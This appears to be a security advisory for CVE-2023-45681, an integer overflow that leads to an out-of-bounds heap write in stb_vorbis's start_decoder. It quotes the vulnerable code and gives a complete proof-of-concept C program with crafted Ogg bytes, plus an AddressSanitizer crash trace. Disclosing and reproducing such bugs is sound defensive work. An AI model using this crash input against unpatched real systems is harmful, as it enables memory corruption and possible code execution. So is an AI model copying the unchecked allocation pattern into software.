stb
stb copied to clipboard
Out of bounds heap buffer write (`GHSL-2023-171/CVE-2023-45681`)
A crafted file may trigger memory write past an allocated heap buffer in start_decoder
at [1]. The root cause is a potential integer overflow sizeof(char*) * (f->comment_list_length)
at [2] which may make setup_malloc
allocate less memory than required. Since there is another integer overflow at [1] attacker may overflow it too to force setup_malloc
to return 0
and make the exploit more reliable.
f->comment_list_length = get32_packet(f);
f->comment_list = NULL;
if (f->comment_list_length > 0)
{
f->comment_list = (char**) setup_malloc(f, sizeof(char*) * (f->comment_list_length)); // [2] Int overflow
if (f->comment_list == NULL) return error(f, VORBIS_outofmem);
}
for(i=0; i < f->comment_list_length; ++i) {
len = get32_packet(f);
f->comment_list[i] = (char*)setup_malloc(f, sizeof(char) * (len+1)); // [1] OOB
if (f->comment_list[i] == NULL) return error(f, VORBIS_outofmem);
for(j=0; j < len; ++j) {
f->comment_list[i][j] = get8_packet(f);
}
f->comment_list[i][len] = (char)'\0';
}
Similar potential vulnerability exists in other setup_malloc
use cases as:
-
f->codebooks = (Codebook *) setup_malloc(f, sizeof(*f->codebooks) * f->codebook_count);
-
c->codewords = (uint32 *) setup_malloc(f, sizeof(c->codewords[0]) * c->entries);
- etc.
Impact
This issue may lead to code execution.
Resources
To reproduce the issue:
- Make ASAN build of the following program:
#include "../stb_vorbis.c"
#include <stdint.h>
int main(int argc, char* argv[])
{
const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0xb6,0xe4,0xb5,0x67,0x00,0x00,0x00,0x00,0x3b,0x21,0x03,0x0f,0x01,0x1e,
0x01,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,0x00,0x00,0x00,0x01,0x44,0xac,
0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x38,0x01,0x00,0x00,0x00,0x00,0x00,
0xb8,0x01,0x4f,0x67,0x67,0x53,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0xb6,0xe4,0xb5,0x67,0x01,0x00,0x00,0x00,0x83,0xb5,0x32,0x7b,
0x0e,0x63,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0x81,0x03,0x76,0x6f,0x72,0x62,0x69,0x73,0x2b,0x00,0x00,0x00,0x58,0x69,
0x70,0x68,0x2e,0x4f,0x72,0x67,0x20,0x6c,0x69,0x62,0x56,0x6f,0x72,0x62,
0x69,0x73,0x20,0x73,0xbe,0x61,0x97,0xcc,0x7c,0x55,0x7e,0xc6,0x03,0x1a,
0x85,0x7f,0x3d,0x39,0x3f,0x7f,0x8b,0xa9,0x41,0x21,0x11,0x14,0xf7,0x01,
0x00,0x00,0x20,0x00,0x00,0x00,0x00};
size_t size = sizeof(data);
int chan, samplerate;
short *output;
int samples = stb_vorbis_decode_memory(data, size, &chan, &samplerate, &output);
if (samples >= 0)
free(output);
return 0;
}
- Run the program to hit the error.
==359215==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000018 at pc 0x0000004e45b7 bp 0x7ffcdb4f8df0 sp 0x7ffcdb4f8de8
WRITE of size 8 at 0x602000000018 thread T0
#0 0x4e45b6 in start_decoder(stb_vorbis*) tests/../stb_vorbis.c:3670:26
#1 0x4f9444 in stb_vorbis_open_memory tests/../stb_vorbis.c:5112:8
#2 0x4fbfb1 in stb_vorbis_decode_memory tests/../stb_vorbis.c:5390:20